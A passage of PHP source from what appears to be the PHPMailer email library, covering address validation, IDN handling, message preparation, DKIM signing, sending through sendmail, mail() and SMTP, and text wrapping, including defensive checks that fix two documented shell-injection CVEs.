                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
